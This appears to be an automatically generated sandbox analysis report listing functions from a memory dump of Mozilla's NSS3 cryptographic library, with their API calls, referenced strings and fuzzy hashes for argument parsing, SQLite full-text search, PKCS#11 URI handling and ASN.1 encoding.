Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 7179a88dda67d4bc4db3ffcf5f7a158258f8ebe5b62f1704719063f7fd038565
Instruction ID: 15b59dc2c7b370fdb3c8ff287cf18df09f920e8eb31c6f47e178d3d162e33d49
Opcode Fuzzy Hash: 7179a88dda67d4bc4db3ffcf5f7a158258f8ebe5b62f1704719063f7fd038565
Instruction Fuzzy Hash: 9F72BDB1D002949FEB119F64D8887AA3BB4BF09318F1D01B9DC099B742EB34E995DBD1

Function 6CAF4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CAD601B,?,00000000,?), ref: 6CAF486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CAF48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CAF48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CAF48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CAF48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CAF490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CAF4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CAF493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4970
PORT_Alloc_Util.NSS3(00000001), ref: 6CAF49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAF49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CAF49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CAF4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CAF4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CAF4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CAF4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CAF4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CAF4A81
free.MOZGLUE(00000000), ref: 6CAF4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CAF4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CAF4ADC
free.MOZGLUE(00000000), ref: 6CAF4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CAF4B33

Part of subcall function 6CAF4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF413D
Part of subcall function 6CAF4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAF4162
Part of subcall function 6CAF4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF416B
Part of subcall function 6CAF4120: PL_strncasecmp.NSS3(6CAF4232,?,00000001), ref: 6CAF4187
Part of subcall function 6CAF4120: NSSUTIL_ArgSkipParameter.NSS3(6CAF4232), ref: 6CAF41A0
Part of subcall function 6CAF4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF41B4
Part of subcall function 6CAF4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CAF41CC
Part of subcall function 6CAF4120: NSSUTIL_ArgFetchValue.NSS3(6CAF4232,?), ref: 6CAF4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CAF4B53
free.MOZGLUE(00000000), ref: 6CAF4B94
free.MOZGLUE(?), ref: 6CAF4BA7
free.MOZGLUE(00000000), ref: 6CAF4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4BC8

Strings

rootFlags, xrefs: 6CAF4AB9, 6CAF4B2E
askpw, xrefs: 6CAF4A4A
every, xrefs: 6CAF4A66
hasRootCerts, xrefs: 6CAF4AD6
timeout, xrefs: 6CAF4A38, 6CAF4A7B
slotFlags, xrefs: 6CAF4A22
hasRootTrust, xrefs: 6CAF4B4D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 4c1d45ddce408b2b7004aa84ae06c9b69229ebf7ea9af6f6a25e69a6beff3874
Instruction ID: 5ad88c48bf89d64ec33cfb5b8a2f2bfdff7bea62319923b1a4ca40982593b236
Opcode Fuzzy Hash: 4c1d45ddce408b2b7004aa84ae06c9b69229ebf7ea9af6f6a25e69a6beff3874
Instruction Fuzzy Hash: B0C10A74E052555FEB00DFA89E407AE7BB8AF06348F180065FCB5A7701E731E99AC7A1

Function 6CAB6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CBBA8EC,0000006C), ref: 6CAB6DC6
memcpy.VCRUNTIME140(?,6CBBA958,0000006C), ref: 6CAB6DDB
memcpy.VCRUNTIME140(?,6CBBA9C4,00000078), ref: 6CAB6DF1
memcpy.VCRUNTIME140(?,6CBBAA3C,0000006C), ref: 6CAB6E06
memcpy.VCRUNTIME140(?,6CBBAAA8,00000060), ref: 6CAB6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB6E38

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CAB6E76
TlsGetValue.KERNEL32 ref: 6CAB726F
EnterCriticalSection.KERNEL32(?), ref: 6CAB7283

Strings

!, xrefs: 6CAB7123

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: be4fbda69924abbdefb57c41bb3067b9a18b35fbff3bdcb85a1cde692392293e
Instruction ID: 87f982c79e9f0ab88fd6443db71cc57d09e14bd378f82829fe15ec69bae55e05
Opcode Fuzzy Hash: be4fbda69924abbdefb57c41bb3067b9a18b35fbff3bdcb85a1cde692392293e
Instruction Fuzzy Hash: 96728D75D052199FDB60DF28DC88B9ABBB5BF48304F1441A9E80DA7701EB71AAC4CF91

Function 6CAD8A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD8A58

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD8AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6CAD8ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6CAD8B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CAD8B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6CAD8B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6CAD8B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6CAD8B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6CAD8BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD8BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CAD8BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD8C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD8C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAD8CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD8CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CAD8D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD8D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD8D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD8D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAD8DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6CAD8DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6CBBD864), ref: 6CAD8E39

Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAEF0C8
Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEF122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6CAD8E5B

Part of subcall function 6CAEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CBBD8C4), ref: 6CAD8E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6CAD8EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6CAD8EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6CAD8ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6CAD8EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAD8EF4
free.MOZGLUE(00000000), ref: 6CAD8EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAD8F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CAD8F1C

Strings

tFVPj, xrefs: 6CAD8EC4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: fad18d0779ca5338d7352e473e983e8fa535ce2e8d4c12ebc80e1d051fdfbe8e
Instruction ID: 51093af6f9a9a90d631fbf95138d83acc86d53a848a23e76a9576b96b60bc5c0
Opcode Fuzzy Hash: fad18d0779ca5338d7352e473e983e8fa535ce2e8d4c12ebc80e1d051fdfbe8e
Instruction Fuzzy Hash: 88D117B19053019BE7008F24DD80BAB77E8EF55308F1A552AEC98C7A91F734E9D9C6D2

Function 6CAFAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAFACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CAFACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CAFACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CAFAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CAFADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFADF0

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAFB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAFB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAFB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CAFB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAFB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFB40C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4ba3be511d1eb61e8a947c37e6c1482639ffdcb3955814337868d2b17b27cbfe
Instruction ID: 3fc462456e3e7315c193f81b64d46ce4f6efa31971ca629f1550dd4d21bcd03e
Opcode Fuzzy Hash: 4ba3be511d1eb61e8a947c37e6c1482639ffdcb3955814337868d2b17b27cbfe
Instruction Fuzzy Hash: A722A071904301AFE710CF14DD44B9A77F1AF84308F28862CF9695B791E772E89ACB96

Function 6CA7ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA7ED38

Part of subcall function 6CA14F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CA7EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CA7EFE4

Part of subcall function 6CB3DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA15001,?,00000003,00000000), ref: 6CB3DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CA7F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CA7F129
sqlite3_mprintf.NSS3(optimize), ref: 6CA7F1D1
sqlite3_free.NSS3(?), ref: 6CA7F368

Strings

optimize, xrefs: 6CA7F199, 6CA7F1CC, 6CA7F211
fts4aux, xrefs: 6CA7ECF9
porter, xrefs: 6CA7ED97
fts3tokenize, xrefs: 6CA7F30F
fts3_tokenizer, xrefs: 6CA7EE1A, 6CA7EEA8
fts4, xrefs: 6CA7F2AD
fts3, xrefs: 6CA7F247
simple, xrefs: 6CA7ED79
unicode61, xrefs: 6CA7EDB5
matchinfo, xrefs: 6CA7F04F, 6CA7F082, 6CA7F0C2, 6CA7F0F2, 6CA7F124, 6CA7F169
snippet, xrefs: 6CA7EF05, 6CA7EF37, 6CA7EF7C
offsets, xrefs: 6CA7EFAF, 6CA7EFDF, 6CA7F01F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 2622a1888e423d815c37cd143a381581bd538d014dca2cd8b7dcfea5446c9bc3
Instruction ID: 8cc59f9b9a12b87e3b02f5e5cc9176a356fd10aea54eec8f3c0729303e0fb73a
Opcode Fuzzy Hash: 2622a1888e423d815c37cd143a381581bd538d014dca2cd8b7dcfea5446c9bc3
Instruction Fuzzy Hash: 720204B9B043404BE7149F35AC8573F36B57BC5708F18453CD86997B05EB34EA8987A2

Function 6CABA4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6CA928AD,pkcs11:,00000007), ref: 6CABA501
PORT_Strdup_Util.NSS3(6CA928AD), ref: 6CABA514

Part of subcall function 6CAF0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
Part of subcall function 6CAF0F10: malloc.MOZGLUE(00000001), ref: 6CAF0F30
Part of subcall function 6CAF0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6CABA529
PK11_GetInternalKeySlot.NSS3 ref: 6CABA60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CABA74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CABA777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABA80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6CABA82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6CABA952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABA9C3

Part of subcall function 6CAE0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6CABA8F5,00000000,?,00000010), ref: 6CAE097E
Part of subcall function 6CAE0960: memcmp.VCRUNTIME140(?,00000000,6CABA8F5,00000010), ref: 6CAE098D

free.MOZGLUE(00000000), ref: 6CABAB18
strchr.VCRUNTIME140(?,00000040), ref: 6CABAB40
free.MOZGLUE(?), ref: 6CABABE1

Part of subcall function 6CAB4170: TlsGetValue.KERNEL32(?,6CA928AD,00000000,?,6CABA793,?,00000000), ref: 6CAB419F
Part of subcall function 6CAB4170: EnterCriticalSection.KERNEL32(0000001C), ref: 6CAB41AF
Part of subcall function 6CAB4170: PR_Unlock.NSS3(?), ref: 6CAB41D4

Strings

object, xrefs: 6CABA5CF
token, xrefs: 6CABA875
pkcs11:, xrefs: 6CABA4FB
manufacturer, xrefs: 6CABA8A2
model, xrefs: 6CABA8CF

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 2dcddd7efbc1eb1443f2cf4692e499e064a5f106437a2cafbbc0fc373327ca07
Instruction ID: d0c9a20275039c2e2d5a5e841a3f99c029153e90d2e6fd9d300da59214957ab8
Opcode Fuzzy Hash: 2dcddd7efbc1eb1443f2cf4692e499e064a5f106437a2cafbbc0fc373327ca07
Instruction Fuzzy Hash: 450285B5D002189FEF215B64AD41BAE767AAF05248F1400A4E90CB7712FB319EDDDF92

Function 6CACEA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CAD8C9F,00000000,00000000,?), ref: 6CACEA29

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CAD8C9F), ref: 6CACEB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CBBC6C4), ref: 6CACEB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CACEBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CACEBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CACEBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CAD8C9F), ref: 6CACEC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CACEC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CACEC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CBBC754), ref: 6CACEC6D
free.MOZGLUE(?), ref: 6CACEC7F
free.MOZGLUE(00000000), ref: 6CACEC90
free.MOZGLUE(?), ref: 6CACECA1
free.MOZGLUE(00000000), ref: 6CACECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CACECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6CAD91D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6CAD91E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAD91F2
free.MOZGLUE(00000000), ref: 6CAD91FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: bcc073cdd44f683cb49a12799acec9f468f8b3f5070987b6750ae0c6e764f66e
Instruction ID: 05c2c665a18691bbb82fc9d1799b500ebe84d5acdeb2c4bea6add559b2eab191
Opcode Fuzzy Hash: bcc073cdd44f683cb49a12799acec9f468f8b3f5070987b6750ae0c6e764f66e
Instruction Fuzzy Hash: 6DA1E775B012455BFB00CA69DD82BBE77A8EB54348F244439E826DBBC0E625E9C487D3

Function 6CAC0BA0 Relevance: 25.7, APIs: 17, Instructions: 242memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE0B3,00000000), ref: 6CAC0BFA

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAC0C18
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6CAC0C2E
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CAC0C39
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAC0C45
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CAC0CC1
PORT_Alloc_Util.NSS3(?), ref: 6CAC0CDA
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC0D1B
PK11_GenerateKeyPairWithOpFlags.NSS3 ref: 6CAC0D79
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAC0DB2
PK11_CreateContextBySymKey.NSS3(?,82000104,?,?), ref: 6CAC0DE4
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAC0DFE
PR_SetError.NSS3(FFFFE064,00000000), ref: 6CAC0E2C
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CAC0E38
